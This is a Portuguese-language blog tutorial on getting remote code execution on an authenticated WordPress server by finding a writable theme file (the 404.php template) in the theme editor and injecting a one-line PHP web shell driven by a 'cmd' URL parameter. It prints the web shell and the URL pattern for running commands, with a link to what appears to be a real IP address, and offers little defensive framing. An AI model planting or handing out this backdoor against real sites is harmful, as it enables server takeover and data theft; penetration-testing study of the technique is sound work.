May 12, 2026
Explorando Remote Code Execution (RCE) no WordPress
Hoje executaremos um código malicioso no servidor WordPress. Para isso, temos como pré-requisito:
Link
3 min read
- Acesso a uma conta no servidor com permissão de edição e escrita de plugins e temas.
Aqui não entraremos no detalhe de como conseguir acesso à conta administradora; focaremos em como conseguir shell no servidor uma vez autenticado.
Uma vez logado, teremos acesso à Dashboard.
Aqui começa nossa enumeração; o que procuramos é algum plugin ou tema com permissão de escrita, isto é, buscamos um arquivo com permissão no servidor para que o usuário o altere.
Na sessão Appearance -> Editor, temos acesso aos temas¹ e podemos começar a nossa enumeração. Sem qualquer outra informação ou com uso de ferramentas, a enumeração se torna árdua, mas ainda assim, possível.
Aqui devemos prestar atenção em um único detalhe, se o arquivo apresenta um botão chamado "Update File":
Caso o botão não apareça, significa que não podemos editá-lo, veja o exemplo abaixo:
Após alguns minutos de busca, identificamos o arquivo. Seria o 404 Template do tema WordPress Classic (o tema pode ser selecionado no menu à esquerda, em cima de Templates).
Agora devemos nos atentar a outro detalhe, a extensão do arquivo. Note que o nome do arquivo está como 404.php. Assim podemos injetar um simples código nessa linguagem para fazermos um parâmetro enviar comandos para o sistema e assim conseguirmos um RCE. Dessa forma, injetaremos no meio do código-fonte da página o código abaixo:
<?php system($_GET['cmd'])?><?php system($_GET['cmd'])?>Vamos entender o que essa simples linha de comando faz:
system— Função que executa o comando passado como string no sistema.$_GET— Obtém o valor do parâmetrocmdenviado pela URL via método GET.
Agora, sabendo da estrutura de arquivos do WordPress², basta acessá-lo usando a estrutura abaixo:
http://
Assim, deparamo-nos com a página aparentemente normal de 404:
O que é bom para nós; significa que nossa injeção não alterou a estética e nem a quebrou.
Agora vem como muitos dizem, o pulo do gato, basta adicionarmos o parâmetro cmd seguido do comando que queremos injetar no sistema da seguinte forma:
[http://<url-do-site>/blog/wp-content/themes/classic/404.php](http://37.59.174.231/blog/wp-content/themes/classic/404.php)``?cmd=<comando>
Ao executarmos o comando ls temos o seguinte output, e voilà, temos acesso shell ao sistema.
Finalmente, uma dica que posso deixar para melhorar a leitura é visualizar a página por meio de seu código-fonte. Assim, conseguimos ter uma leitura melhor e com melhor formatação do output:
Notas de rodapé
- A exploração também pode ser feita via plugins, mas aqui abordaremos apenas a exploração via temas.
- Caso você não conheça, existem dois meios de saber qual o caminho do arquivo desejado:
- Pesquisando na internet pela estruturação padrão de arquivos.
- Montar um servidor local com o WordPress e instalar no seu laboratório; dessa forma, é possível estudar e navegar pela estruturação padrão a fim de entender seus padrões.
Obrigado por ler até aqui; espero ter ajudado com mais esse guia. =)
Se você gostou e quer me ajudar, compre-me um café via PayPal pelo link:
Donate to Gabriel Morais Help support Gabriel Morais by donating or sharing with your friends.
Ou via Pix pela chave:
b67974b3–9b7c-443f-b58f-13120d3a5285